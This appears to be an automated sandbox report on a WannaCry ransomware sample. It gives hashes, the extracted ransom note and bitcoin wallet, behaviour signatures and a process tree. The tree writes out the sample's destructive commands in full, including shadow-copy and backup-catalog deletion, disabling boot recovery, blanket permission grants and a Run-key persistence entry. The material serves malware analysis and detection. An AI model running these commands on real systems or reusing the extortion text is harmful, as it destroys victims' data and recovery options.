wannacry | ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa

Resubmissions

30-10-2019 18:36

191030-35tdg7dqen 0

29-10-2019 13:22

191029-vhssnz4w3x 0

Analysis

max time kernel
149s
max time network
124s
resource
win7v191014

Sharing

Copy URL

Twitter E-mail

General

Target

wannacry.exe
Sample

191029-vhssnz4w3x
SHA256

ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa

Score

N/A

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\@[email protected]

Family

wannacry

Ransom Note

Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �

Wallets

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

Extracted

Path

C:\Users\Admin\Desktop\@[email protected]

Family

wannacry

Ransom Note

Wallets

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

Extracted

Path

C:\Users\Admin\Documents\@[email protected]

Family

wannacry

Ransom Note

Wallets

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

Extracted

Path

C:\@[email protected]

Family

wannacry

Ransom Note

Wallets

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

Extracted

Path

C:\MSOCache\All Users\{90140000-0011-0000-1000-0000000FF1CE}-C\@[email protected]

Family

wannacry

Ransom Note

Wallets

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

Extracted

Path

C:\Users\Admin\AppData\Local\@[email protected]

Family

wannacry

Ransom Note

Wallets

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

Extracted

Path

C:\Users\Admin\AppData\Roaming\@[email protected]

Family

wannacry

Ransom Note

Wallets

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

Extracted

Path

C:\Users\Admin\Downloads\@[email protected]

Family

wannacry

Ransom Note

Wallets

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

Extracted

Path

C:\Users\Admin\Music\@[email protected]

Family

wannacry

Ransom Note

Wallets

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

Extracted

Path

C:\Users\Admin\Pictures\@[email protected]

Family

wannacry

Ransom Note

Wallets

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

Extracted

Path

C:\Users\All Users\Microsoft\User Account Pictures\@[email protected]

Family

wannacry

Ransom Note

Wallets

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

Extracted

Path

C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\@[email protected]

Family

wannacry

Ransom Note

Wallets

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

Extracted

Path

C:\Users\All Users\Microsoft\Windows\Caches\@[email protected]

Family

wannacry

Ransom Note

Wallets

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

Extracted

Path

C:\Users\All Users\Microsoft\Windows\Ringtones\@[email protected]

Family

wannacry

Ransom Note

Wallets

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

Extracted

Path

C:\Users\All Users\Microsoft\Windows NT\MSScan\@[email protected]

Family

wannacry

Ransom Note

Wallets

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

Extracted

Path

C:\Users\Public\Music\Sample Music\@[email protected]

Family

wannacry

Ransom Note

Wallets

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

Extracted

Path

C:\Users\Public\Pictures\Sample Pictures\@[email protected]

Family

wannacry

Ransom Note

Wallets

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

Extracted

Path

C:\Users\Public\Videos\Sample Videos\@[email protected]

Family

wannacry

Ransom Note

Wallets

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

Signatures

Drops startup file 6 IoCs

description	ioc	pid	Process
File created (read-only)	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD75D8.tmp	1272	wannacry.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD75D8.tmp	1272	wannacry.exe
File deleted	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD75D8.tmp	1272	wannacry.exe
File created (read-only)	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SD760B.tmp	1272	wannacry.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SD760B.tmp	1272	wannacry.exe
File deleted	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SD760B.tmp	1272	wannacry.exe

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

pid	Process
2036	attrib.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 1272 wrote to memory of 2036	1272	wannacry.exe	26
PID 1272 wrote to memory of 840	1272	wannacry.exe	28
PID 1272 wrote to memory of 292	1272	wannacry.exe	30
PID 1272 wrote to memory of 1928	1272	wannacry.exe	31
PID 1928 wrote to memory of 1444	1928	cmd.exe	33
PID 1272 wrote to memory of 2008	1272	wannacry.exe	35
PID 1272 wrote to memory of 740	1272	wannacry.exe	36
PID 740 wrote to memory of 1176	740	cmd.exe	38
PID 2008 wrote to memory of 1108	2008	@[email protected]	40
PID 1176 wrote to memory of 612	1176	@[email protected]	42
PID 612 wrote to memory of 2036	612	cmd.exe	44
PID 612 wrote to memory of 1688	612	cmd.exe	46
PID 1272 wrote to memory of 1244	1272	wannacry.exe	48
PID 1272 wrote to memory of 1176	1272	wannacry.exe	49
PID 1272 wrote to memory of 1100	1272	wannacry.exe	50
PID 1272 wrote to memory of 1748	1272	wannacry.exe	51
PID 1748 wrote to memory of 1640	1748	cmd.exe	53
PID 1272 wrote to memory of 1984	1272	wannacry.exe	54
PID 1272 wrote to memory of 1092	1272	wannacry.exe	55
PID 1272 wrote to memory of 2036	1272	wannacry.exe	56
PID 1272 wrote to memory of 1476	1272	wannacry.exe	58
PID 1272 wrote to memory of 660	1272	wannacry.exe	59
PID 1272 wrote to memory of 764	1272	wannacry.exe	60
PID 1272 wrote to memory of 1672	1272	wannacry.exe	63
PID 1272 wrote to memory of 1292	1272	wannacry.exe	64
PID 1272 wrote to memory of 1832	1272	wannacry.exe	65

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1108	taskhsvc.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1640	reg.exe

Modifies file permissions 1 TTPs 1 IoCs

File and Directory Permissions Modification

T1222

pid	Process
840	icacls.exe

Loads dropped DLL 5 IoCs

pid	Process
1272	wannacry.exe
1444	cscript.exe
740	cmd.exe
2008	@[email protected]
1108	taskhsvc.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	pid	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	1272	wannacry.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	1100	@[email protected]

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1176	@[email protected]
2008	@[email protected]
1100	@[email protected]
2036	@[email protected]
764	@[email protected]
1832	@[email protected]

Deletes shadow copies 2 TTPs 2 IoCs

ransomware

Inhibit System Recovery

T1490

pid	Process
2036	vssadmin.exe
1688	WMIC.exe

Suspicious use of AdjustPrivilegeToken 27 IoCs

description	pid	Process
Token: SeBackupPrivilege	544	vssvc.exe
Token: SeRestorePrivilege	544	vssvc.exe
Token: SeAuditPrivilege	544	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1688	WMIC.exe
Token: SeSecurityPrivilege	1688	WMIC.exe
Token: SeTakeOwnershipPrivilege	1688	WMIC.exe
Token: SeLoadDriverPrivilege	1688	WMIC.exe
Token: SeSystemProfilePrivilege	1688	WMIC.exe
Token: SeSystemtimePrivilege	1688	WMIC.exe
Token: SeProfSingleProcessPrivilege	1688	WMIC.exe
Token: SeIncBasePriorityPrivilege	1688	WMIC.exe
Token: SeCreatePagefilePrivilege	1688	WMIC.exe
Token: SeBackupPrivilege	1688	WMIC.exe
Token: SeRestorePrivilege	1688	WMIC.exe
Token: SeShutdownPrivilege	1688	WMIC.exe
Token: SeDebugPrivilege	1688	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1688	WMIC.exe
Token: SeRemoteShutdownPrivilege	1688	WMIC.exe
Token: SeUndockPrivilege	1688	WMIC.exe
Token: SeManageVolumePrivilege	1688	WMIC.exe
Token: 33	1688	WMIC.exe
Token: 34	1688	WMIC.exe
Token: 35	1688	WMIC.exe
Token: SeTcbPrivilege	1176	taskse.exe
Token: SeTcbPrivilege	1092	taskse.exe
Token: SeTcbPrivilege	660	taskse.exe
Token: SeTcbPrivilege	1292	taskse.exe

Adds Run entry to start application 2 TTPs 1 IoCs

persistence

Modify Registry

T1112

description	ioc	pid	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ftqqepmlkbmm513 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tasksche.exe\""	1640	reg.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1100	@[email protected]

Executes dropped EXE 16 IoCs

pid	Process
292	taskdl.exe
2008	@[email protected]
1176	@[email protected]
1108	taskhsvc.exe
1244	taskdl.exe
1176	taskse.exe
1100	@[email protected]
1984	taskdl.exe
1092	taskse.exe
2036	@[email protected]
1476	taskdl.exe
764	@[email protected]
660	taskse.exe
1672	taskdl.exe
1292	taskse.exe
1832	@[email protected]

Wannacry file encrypt 64 IoCs

description	ioc	pid	Process
File renamed	C:\Users\Admin\Desktop\DisableReceive.ppt.WNCRYT => C:\Users\Admin\Desktop\DisableReceive.ppt.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Desktop\DisableReceive.ppt.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Desktop\StopUnregister.docx.WNCRYT => C:\Users\Admin\Desktop\StopUnregister.docx.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Desktop\StopUnregister.docx.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Desktop\CompareRedo.js.WNCRYT => C:\Users\Admin\Desktop\CompareRedo.js.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Desktop\CompareRedo.js.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Desktop\ConvertToHide.cmd.WNCRYT => C:\Users\Admin\Desktop\ConvertToHide.cmd.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Desktop\ConvertToHide.cmd.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Desktop\GroupSkip.m3u.WNCRYT => C:\Users\Admin\Desktop\GroupSkip.m3u.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Desktop\GroupSkip.m3u.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Desktop\GroupWait.wma.WNCRYT => C:\Users\Admin\Desktop\GroupWait.wma.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Desktop\GroupWait.wma.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Desktop\OutDismount.bmp.WNCRYT => C:\Users\Admin\Desktop\OutDismount.bmp.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Desktop\OutDismount.bmp.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Desktop\PopCompress.bmp.WNCRYT => C:\Users\Admin\Desktop\PopCompress.bmp.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Desktop\PopCompress.bmp.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Desktop\ResetDebug.gif.WNCRYT => C:\Users\Admin\Desktop\ResetDebug.gif.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Desktop\ResetDebug.gif.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Desktop\UndoShow.wma.WNCRYT => C:\Users\Admin\Desktop\UndoShow.wma.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Desktop\UndoShow.wma.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Desktop\UnprotectPop.mov.WNCRYT => C:\Users\Admin\Desktop\UnprotectPop.mov.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Desktop\UnprotectPop.mov.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Documents\Are.docx.WNCRYT => C:\Users\Admin\Documents\Are.docx.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\Are.docx.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Documents\ConvertSubmit.xls.WNCRYT => C:\Users\Admin\Documents\ConvertSubmit.xls.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\ConvertSubmit.xls.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Documents\DenyExpand.pdf.WNCRYT => C:\Users\Admin\Documents\DenyExpand.pdf.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\DenyExpand.pdf.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Documents\Files.docx.WNCRYT => C:\Users\Admin\Documents\Files.docx.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\Files.docx.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Documents\LimitRead.ppt.WNCRYT => C:\Users\Admin\Documents\LimitRead.ppt.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\LimitRead.ppt.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Documents\Opened.docx.WNCRYT => C:\Users\Admin\Documents\Opened.docx.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\Opened.docx.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Documents\ReadDeny.csv.WNCRYT => C:\Users\Admin\Documents\ReadDeny.csv.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\ReadDeny.csv.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Documents\Recently.docx.WNCRYT => C:\Users\Admin\Documents\Recently.docx.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\Recently.docx.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Documents\SplitAssert.xls.WNCRYT => C:\Users\Admin\Documents\SplitAssert.xls.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\SplitAssert.xls.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Documents\These.docx.WNCRYT => C:\Users\Admin\Documents\These.docx.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\These.docx.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Documents\UnblockUnprotect.xlsx.WNCRYT => C:\Users\Admin\Documents\UnblockUnprotect.xlsx.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\UnblockUnprotect.xlsx.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Documents\ExitCompress.ods.WNCRYT => C:\Users\Admin\Documents\ExitCompress.ods.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\ExitCompress.ods.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Documents\ExportPush.dotx.WNCRYT => C:\Users\Admin\Documents\ExportPush.dotx.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\ExportPush.dotx.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Documents\PopRevoke.potx.WNCRYT => C:\Users\Admin\Documents\PopRevoke.potx.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\PopRevoke.potx.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Documents\SaveSubmit.odp.WNCRYT => C:\Users\Admin\Documents\SaveSubmit.odp.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\SaveSubmit.odp.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Documents\SearchSet.odp.WNCRYT => C:\Users\Admin\Documents\SearchSet.odp.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\SearchSet.odp.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Documents\UninstallClear.ppsm.WNCRYT => C:\Users\Admin\Documents\UninstallClear.ppsm.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\UninstallClear.ppsm.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\Documents\WaitSelect.dotm.WNCRYT => C:\Users\Admin\Documents\WaitSelect.dotm.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\WaitSelect.dotm.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\brndlog.txt.WNCRYT => C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\brndlog.txt.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\brndlog.txt.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Bears.jpg.WNCRYT => C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Bears.jpg.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Bears.jpg.WNCRY	1272	wannacry.exe
File renamed	C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Blue_Gradient.jpg.WNCRYT => C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Blue_Gradient.jpg.WNCRY	1272	wannacry.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Blue_Gradient.jpg.WNCRY	1272	wannacry.exe

Drops Office document 26 IoCs

dropper exploiter maldoc

description	ioc	pid	Process
File opened for modification	C:\Users\Admin\Desktop\DisableReceive.ppt	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Desktop\StopUnregister.docx	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\Are.docx	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\ConvertSubmit.xls	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\Files.docx	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\LimitRead.ppt	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\Opened.docx	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\Recently.docx	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\SplitAssert.xls	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\These.docx	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\UnblockUnprotect.xlsx	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\ExportPush.dotx	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\PopRevoke.potx	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\UninstallClear.ppsm	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Documents\WaitSelect.dotm	1272	wannacry.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\ImportOut.ppt	1272	wannacry.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\SubmitConvertTo.ppsm	1272	wannacry.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\SuspendEdit.xlt	1272	wannacry.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\UnlockConvertTo.potm	1272	wannacry.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Document Building Blocks\1033\14\Built-In Building Blocks.dotx	1272	wannacry.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Music\ApproveTest.xlt	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Music\LimitGet.xlt	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Music\MeasureSearch.xltm	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Music\RemoveOut.pot	1272	wannacry.exe
File opened for modification	C:\Users\Admin\Music\RestoreConvertTo.xltm	1272	wannacry.exe

Uses Volume Shadow Copy Service COM API 18 IoCs

ransomware

description	ioc	pid	Process
Key opened	\Registry\Machine\Software\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}	2036	vssadmin.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}	2036	vssadmin.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\TreatAs	2036	vssadmin.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\Progid	2036	vssadmin.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\ProgID	2036	vssadmin.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\ProgID\	2036	vssadmin.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\	2036	vssadmin.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\InprocHandler32	2036	vssadmin.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\InprocHandler	2036	vssadmin.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}	544	vssvc.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}	544	vssvc.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\TreatAs	544	vssvc.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\Progid	544	vssvc.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\ProgID\	544	vssvc.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\	544	vssvc.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\InprocServer32	544	vssvc.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\InprocHandler32	544	vssvc.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E579AB5F-1CC4-44B4-BED9-DE0991FF0623}\InprocHandler	544	vssvc.exe

wannacry family
family wannacry

C:\Users\Admin\AppData\Local\Temp\wannacry.exe
"C:\Users\Admin\AppData\Local\Temp\wannacry.exe"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
- Sets desktop wallpaper using registry
- Wannacry file encrypt
- Drops Office document
PID:1272

C:\Windows\SysWOW64\attrib.exe
attrib +h .
1⤵
- Views/modifies file attributes
PID:2036

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1145494900162369655018148990691529387095-157741661026531389279276841363457141"
1⤵
PID:844

C:\Windows\SysWOW64\icacls.exe
icacls . /grant Everyone:F /T /C /Q
1⤵
- Modifies file permissions
PID:840

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "9201826351812207032-1153075310-833623098-1725515642-36335303-1096284185994470168"
1⤵
PID:1460

C:\Users\Admin\AppData\Local\Temp\taskdl.exe
taskdl.exe
1⤵
- Executes dropped EXE
PID:292

C:\Windows\SysWOW64\cmd.exe
cmd /c 190151572358952.bat
1⤵
- Suspicious use of WriteProcessMemory
PID:1928

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1108052224-1798237979-2115346884148494273-10359282406001780152589749911201466850"
1⤵
PID:1956

C:\Windows\SysWOW64\cscript.exe
cscript.exe //nologo m.vbs
1⤵
- Loads dropped DLL
PID:1444

C:\Users\Admin\AppData\Local\Temp\@[email protected]
@[email protected] co
1⤵
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:2008

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c start /b @[email protected] vs
1⤵
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
PID:740

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-239608306-1709560228-1094254200-1555416916-9402214781034493218-1244256140518640572"
1⤵
PID:916

C:\Users\Admin\AppData\Local\Temp\@[email protected]
@[email protected] vs
1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:1176

C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe
TaskData\Tor\taskhsvc.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Loads dropped DLL
- Executes dropped EXE
PID:1108

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1834549107-1578352443-885991975-801175779-25295250-12811000951333109850558477538"
1⤵
PID:876

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
1⤵
- Suspicious use of WriteProcessMemory
PID:612

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "62621828111167520868081767243775505031083852628-20332988271199718649-1124701185"
1⤵
PID:1520

C:\Windows\SysWOW64\vssadmin.exe
vssadmin delete shadows /all /quiet
1⤵
- Deletes shadow copies
- Uses Volume Shadow Copy Service COM API
PID:2036

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
- Uses Volume Shadow Copy Service COM API
PID:544

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic shadowcopy delete
1⤵
- Deletes shadow copies
- Suspicious use of AdjustPrivilegeToken
PID:1688

C:\Users\Admin\AppData\Local\Temp\taskdl.exe
taskdl.exe
1⤵
- Executes dropped EXE
PID:1244

C:\Users\Admin\AppData\Local\Temp\taskse.exe
taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
1⤵
- Suspicious use of AdjustPrivilegeToken
- Executes dropped EXE
PID:1176

C:\Users\Admin\AppData\Local\Temp\@[email protected]
@[email protected]
1⤵
- Sets desktop wallpaper using registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: GetForegroundWindowSpam
- Executes dropped EXE
PID:1100

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "ftqqepmlkbmm513" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
1⤵
- Suspicious use of WriteProcessMemory
PID:1748

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "293207032-228425189-1392355042-16304221741955605733-284297829-83662386585369988"
1⤵
PID:1116

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "ftqqepmlkbmm513" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
1⤵
- Modifies registry key
- Adds Run entry to start application
PID:1640

C:\Users\Admin\AppData\Local\Temp\taskdl.exe
taskdl.exe
1⤵
- Executes dropped EXE
PID:1984

C:\Users\Admin\AppData\Local\Temp\taskse.exe
taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
1⤵
- Suspicious use of AdjustPrivilegeToken
- Executes dropped EXE
PID:1092

C:\Users\Admin\AppData\Local\Temp\@[email protected]
@[email protected]
1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:2036

C:\Users\Admin\AppData\Local\Temp\taskdl.exe
taskdl.exe
1⤵
- Executes dropped EXE
PID:1476

C:\Users\Admin\AppData\Local\Temp\taskse.exe
taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
1⤵
- Suspicious use of AdjustPrivilegeToken
- Executes dropped EXE
PID:660

C:\Users\Admin\AppData\Local\Temp\@[email protected]
@[email protected]
1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:764

